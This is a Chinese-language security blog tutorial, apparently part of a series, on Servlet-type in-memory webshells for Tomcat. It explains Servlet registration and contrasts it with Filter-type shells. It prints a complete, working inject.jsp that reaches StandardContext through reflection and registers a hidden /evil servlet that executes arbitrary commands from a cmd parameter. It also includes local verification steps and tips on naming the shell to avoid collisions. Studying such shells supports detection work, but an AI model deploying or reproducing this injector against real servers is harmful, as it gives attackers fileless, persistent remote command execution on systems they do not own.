代码审计 | Servlet —— Tomcat 内存马
系列:Tomcat 内存马 —— 继 Filter 型之后,聊聊 Servlet 型的动态注入。
目录
- 一、Servlet 是如何注册和工作的
- 二、Filter 和 Servlet 的区别
- 三、回顾对比:Filter 型 vs Servlet 型
- 四、前置知识:Servlet 动态注册 API
- 五、直接调用 addServlet 的问题
- 六、Servlet 型内存马注入代码(反射绕过)
- 七、验证步骤
- 八、注意事项
- 九、总结
一、Servlet 是如何注册和工作的
先来看一个最基础的 Servlet 示例,路径:src/main/java/org/example/filter/EchoServlet.java
package org.example.filter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
//@WebServlet(value = "/echo", loadOnStartup = 1)
@WebServlet("/echo")
public class EchoServlet extends HttpServlet {
@Override
public void init() throws ServletException {
System.out.println("EchoServlet 初始化");
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws IOException {
String msg = req.getParameter("msg");
resp.setContentType("text/plain;charset=UTF-8");
resp.getWriter().write("你输入的是:" + msg);
}
@Override
public void destroy() {
System.out.println("EchoServlet 销毁");
}
}
关于 loadOnStartup(懒加载)
@WebServlet(value = "/echo", loadOnStartup = 1) 里面有个懒加载的知识点:
loadOnStartup默认是-1,启用懒加载模式- 规定
loadOnStartup >= 0时,Tomcat 启动时就会加载这个 Servlet - 懒加载模式下,只有第一次请求触发时才会初始化
init() - 关闭懒加载后效果和 Filter 一样,启动服务时就初始化
注意:动态注册的 Servlet 默认也是懒加载(首次访问时才调用
init()),但在内存马场景中,我们通常会在注入后立即主动访问一次后门路径来激活它,因此懒加载并不影响使用。
启动服务后可以看到初始化的打印:
访问 http://localhost:8080/echo?msg=你好:
关闭时触发销毁:
二、Filter 和 Servlet 的区别
Filter 和 Servlet 最大的区别在于:
- Filter 是"中间拦截器",负责预处理和后处理,通过
chain.doFilter()继续传递请求,请求最终要到达 Servlet - Servlet 是"终点处理器",负责生成最终的响应内容
设置 @WebServlet("/echo") 后,访问 /echo 就会由这个 Servlet 处理。
如果设置 @WebServlet("/*"),那么不管访问 /xxxx 什么路径都会由这个 Servlet 处理。比如访问 http://localhost:8080/asdasd?msg=aaa:
依然可以正确显示内容,并没有 404,因为符合通配符规则。
Servlet 的 doGet 方法里没有类似 chain.doFilter() 的结尾,因为 Servlet 就是整条链的终点:
请求 → Filter1.doFilter() → Filter2.doFilter() → Servlet.doGet() → 响应
↓ 可截断 return ↓ 可截断 return 直接输出,无后续
Filter 和 Servlet 在 Java 继承结构上的区别
Filter实现的是javax.servlet.Filter接口Servlet继承的是javax.servlet.http.HttpServlet抽象类,而HttpServlet又实现了javax.servlet.Servlet接口
抽象类是 Java 中的一种特殊类,它不能被直接实例化(不能 new),必须被继承后才能使用。一句话总结:抽象类就是"不能直接用的模板类",必须通过继承来补全它缺失的部分。
处理方法对比
| 对比项 | Filter | Servlet |
|---|---|---|
| 处理方法数量 | 1 个:doFilter() | 多个:doGet()、doPost()、doPut() 等 |
| 是否区分 HTTP 方法 | 不区分(需手动判断) | 自动区分,容器帮调度 |
| 内存马适配 | 无需关心方法 | 通常同时覆盖 GET 和 POST |
职责对比
| 对比维度 | Filter | Servlet |
|---|---|---|
| 职责 | 对请求/响应进行预处理或后处理 | 负责生成响应内容(业务逻辑) |
| 链式调用 | 多个 Filter 可形成过滤链,通过 chain.doFilter() 传递 | 单个 Servlet 处理一个请求,不存在链 |
| 拦截范围 | 可匹配多个 URL 模式(/*、/admin/*、*.jsp) | 通常映射到具体的路径(/echo) |
| 是否必须放行 | 必须调用 chain.doFilter() 才能继续 | 处理完毕后直接写回响应,流程结束 |
静态 web.xml 写法
在 src/main/webapp/WEB-INF/web.xml 中,于 <web-app> 标签内添加以下配置:
<!-- 声明 Servlet:给 Servlet 起个内部名字,并指定它对应的 Java 类 -->
<servlet>
<servlet-name>echoServlet</servlet-name>
<servlet-class>org.example.servlet.EchoServlet</servlet-class>
</servlet>
<!-- 映射 Servlet:告诉 Tomcat 这个 Servlet 要处理哪些 URL -->
<servlet-mapping>
<servlet-name>echoServlet</servlet-name>
<url-pattern>/echo</url-pattern>
</servlet-mapping>
写法和 Filter 的差不多,声明 + 映射两段配置。
三、回顾对比:Filter 型 vs Servlet 型
在上一篇中,通过反射操作 StandardContext,动态注入了一个恶意的 Filter,实现了无文件落地的后门。Filter 型内存马通过拦截所有 URL(/*)并检测特定参数来触发命令执行。
本篇介绍另一种同样常用的内存马形态:Servlet 型。它的核心思路是:动态创建一个恶意的 Servlet,并为其映射一个外部可访问的 URL 路径。由于 Servlet 是专门处理 HTTP 请求的组件,因此这种内存马更像是一个"隐藏的 API 接口"。
| 对比项 | Filter 型 | Servlet 型 |
|---|---|---|
| 注入位置 | 往 filterDefs、filterMaps、filterConfigs 塞数据 | 往 StandardContext 的 children(Wrapper)中添加 |
| 触发方式 | 任何匹配 /* 的请求,带 ?cmd= 参数时触发 | 访问固定的映射路径(如 /evil),可带参数也可不带 |
| 隐蔽性 | 较高,与正常业务混合 | 较低,独立路径容易被扫描发现 |
| 实现难度 | 需要反射操作三个集合(filterDefs、filterMaps、filterConfigs) | 可以直接使用标准 API,几乎无需反射 |
四、前置知识:Servlet 动态注册 API
这里有个关键差异:
- Filter 型:需要反射拿到
StandardContext,因为ServletContext接口没有提供操作 Filter 内部集合的 API。 - Servlet 型:也需要拿
StandardContext弄错了 , 后面有讲。
Servlet 3.0 引入了 ServletContext 接口的几个方法:
public ServletRegistration.Dynamic addServlet(String servletName, Servlet servlet);
public ServletRegistration.Dynamic addServlet(String servletName, Class<? extends Servlet> servletClass);
| 重载方式 | 参数 | 实例化责任 | 内存马适用性 |
|---|---|---|---|
addServlet(String, Servlet) | 已创建好的 Servlet 实例 | 你自己 new 好,直接传入 | ✅ 常用,因为要用匿名内部类嵌入恶意逻辑 |
addServlet(String, Class<? extends Servlet>) | Servlet 类的 Class 对象 | Tomcat 负责通过反射调用 newInstance() 创建实例 | ❌ 不常用,无法直接嵌入匿名内部类的命令执行逻辑 |
| 参数 | 含义 |
|---|---|
servletName | Servlet 的内部唯一标识名称,相当于 web.xml 中的 <servlet-name> |
servlet | 已经实例化好的 Servlet 对象 |
servletClass | Servlet 的 Class 对象,容器会通过反射自动创建实例 |
返回值:ServletRegistration.Dynamic 接口实例,用于进一步配置该 Servlet 的映射路径、初始化参数、加载顺序等。
ServletRegistration.Dynamic 提供了 addMapping(String... urlPatterns) 方法,用于为 Servlet 指定 URL 映射(等价于 web.xml 中 <servlet-mapping> 的 <url-pattern>)(弄错了 , 这样只能静态添加 , 动态注册仍要反射用StandardContext里的方法):
ServletRegistration.Dynamic dynamic = servletContext.addServlet("evilServlet", evilServlet);
dynamic.addMapping("/evil");
五、直接调用 addServlet 的问题
如果不考虑限制,直接写一个 JSP 调用 addServlet:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="java.io.*" %>
<%
ServletContext servletContext = request.getServletContext();
Servlet evilServlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len;
while ((len = inputStream.read(buffer)) != -1) {
baos.write(buffer, 0, len);
}
resp.getWriter().write(new String(baos.toByteArray(), "GBK"));
return;
}
resp.getWriter().write("Servlet is running...");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
doGet(req, resp);
}
};
ServletRegistration.Dynamic dynamic = servletContext.addServlet("evilServlet", evilServlet);
dynamic.addMapping("/evil");
out.println("Servlet 内存马注入成功!访问 /evil?cmd=whoami 测试");
%>
访问 http://localhost:8080/inject.jsp 后会直接报错:
报错原因:这是 Servlet 规范的限制——一旦 Web 应用启动完成,ServletContext 就进入"已初始化"状态,禁止再调用 addServlet() 动态注册。
addServlet() 方法内部会调用 checkState(),判断应用是否已完成初始化,如果已完成则抛出 IllegalStateException。
六、Servlet 型内存马注入代码(反射绕过)
解决思路
和 Filter 型一样,用反射绕过限制:拿到 StandardContext,然后往它的 children(一个 HashMap<String, Container>)里添加一个 StandardWrapper 对象,并配置映射。
完整注入代码 inject.jsp:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%
// ========== 第一步:反射获取 StandardContext ==========
// 低版本写法:ServletContext servletContext = request.getSession().getServletContext();
ServletContext servletContext = request.getServletContext();
// 和 Filter 一样,需要反射两层获取核心对象 StandardContext
// 1. 获取 ApplicationContext
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
// 2. 获取 StandardContext
Field stdContextField = applicationContext.getClass().getDeclaredField("context");
stdContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdContextField.get(applicationContext);
// 拿到 StandardContext 后,后续操作调用的都是其公开方法(addChild、addServletMappingDecoded),无需再次动用反射。
// ========== 第二步:定义恶意 Servlet(匿名内部类) ==========
// 通过匿名内部类的方式,直接继承抽象类 HttpServlet 并重写 doGet 和 doPost 方法
// 无需单独编写 .java 文件
Servlet evilServlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
// 获取请求参数 cmd
String cmd = req.getParameter("cmd");
if (cmd != null) {
// 调用系统命令
Process process = Runtime.getRuntime().exec(cmd);
// 把结果输出到网页
InputStream inputStream = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len;
while ((len = inputStream.read(buffer)) != -1) {
baos.write(buffer, 0, len);
}
resp.getWriter().write(new String(baos.toByteArray(), "GBK"));
return;
}
resp.getWriter().write("Servlet is running...");
}
@Override
// doPost 直接调用 doGet,确保 GET/POST 都能触发命令执行
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
doGet(req, resp);
}
};
// 为什么 Servlet 不用写 init 和 destroy?
// 因为 HttpServlet 是抽象类,它已经为 init() 和 destroy() 提供了默认的空实现,不写也不会报错。
// 为什么 Filter 必须写 init 和 destroy?
// 因为 Filter 是接口,接口中所有方法都是抽象的,没有方法体。
// 必须把三个方法全部实现,哪怕不需要也得写上空的大括号 {},否则编译不通过。
// ========== 第三步:通过 StandardContext 注册 Servlet ==========
// 1. 创建 StandardWrapper 包装 Servlet
// 在 Tomcat 内部,每一个 Servlet 都不是直接裸露的,而是被一个 StandardWrapper 对象包装起来
// 类似 Filter 里的 FilterDef 存储 Filter 的元信息(名称、类名、实例引用)
// 需要先包装后才能传入 StandardContext
// 而传入的方法可以直接用 addChild(因为是 public 的)
StandardWrapper wrapper = new StandardWrapper();
wrapper.setName("evilServlet"); // 标识
wrapper.setServlet(evilServlet); // 直接设置实例
wrapper.setServletClass(evilServlet.getClass().getName()); // 设置类名(可选)
// 2. 将 Wrapper 添加到 StandardContext 的子容器中
standardContext.addChild(wrapper);
// 3. 添加 URL 映射
// 关于 addServletMappingDecoded:
// 在 Tomcat 9 中,旧版的 addServletMapping 已被废弃并移除,取而代之的是 addServletMappingDecoded。
// 带 Decoded 后缀的方法会对 URL 路径进行百分号解码处理,避免双重编码问题。
// 它是 StandardContext 的 public 方法,直接调用即可。
standardContext.addServletMappingDecoded("/evil", "evilServlet");
out.println("Servlet 内存马注入成功(反射方式)!访问 /evil?cmd=whoami 测试");
%>
代码结构梳理
整个注入流程可以拆成三步:
- 反射两层,从
ServletContext挖到StandardContext(和 Filter 型一模一样) - 匿名内部类定义恶意 Servlet,重写
doGet/doPost,嵌入命令执行逻辑 - StandardWrapper 包装 →
addChild注册 →addServletMappingDecoded映射路径
和 Filter 型对比,Servlet 型少了操作 filterMaps、filterConfigs 那一套,整体更简洁。
七、验证步骤
1. 准备环境:确保 Tomcat 正在运行,且存在一个 Web 应用(比如之前的 Filter 项目)。
2. 上传 injectServlet.jsp:将该 JSP 文件放到 Web 应用的根目录(如 webapp/injectServlet.jsp)。
3. 访问注入页面:浏览器访问 http://localhost:8080/injectServlet.jsp,页面显示"注入成功"。
4. 测试后门:访问 http://localhost:8080/evil?cmd=whoami,看到命令执行结果。
5. 验证无文件落地:删除 injectServlet.jsp 文件,再次访问 http://localhost:8080/injectServlet.jsp 显示 404:
再次访问 /evil?cmd=calc,仍然有效:
6. 重启验证:重启 Tomcat 后直接访问 /evil?cmd=whoami,显示 404 或首页,说明内存马已消失(内存已释放):
八、注意事项
1. 路径冲突问题
如果目标应用本身已经有一个名为 evilServlet 的 Servlet,或存在 /evil 的映射,addServlet 或 addMapping 会抛出异常。在实际渗透中,攻击者通常会使用随机字符串(如 UUID)作为名称和路径,避免冲突。
2. 与 Filter 型的适用场景
- Filter 型:适合"通杀"所有请求,隐蔽性好,但需要较多反射代码。
- Servlet 型:适合需要独立 API 接口的场景,实现简单,但路径固定,容易被扫描器发现。
3. 安全配置的影响
如果目标应用使用了 SecurityManager 或 Tomcat 的 security-constraint 限制了对特定路径的访问,注入的 Servlet 也可能受到限制。
九、总结
Servlet 型内存马整体比 Filter 型简单,核心流程:
- 反射两层拿
StandardContext(和 Filter 型相同) - 匿名内部类写恶意 Servlet,
doPost转发给doGet StandardWrapper包装实例 →addChild→addServletMappingDecoded完成注册
不需要操作三个集合,也不需要手动操作 filterConfigs,整体代码量少了不少。
但相比 Filter 型,隐蔽性较差:Filter 挂载在 /* 上,混在正常业务流量里;Servlet 需要独立路径,容易被安全扫描器或流量分析发现。
下一篇:Listener 型内存马——它无需映射任何 URL,却能监听所有请求,是目前隐蔽性最强的一种形式。
参考环境:Tomcat 9、JDK 8u65、Servlet 3.0+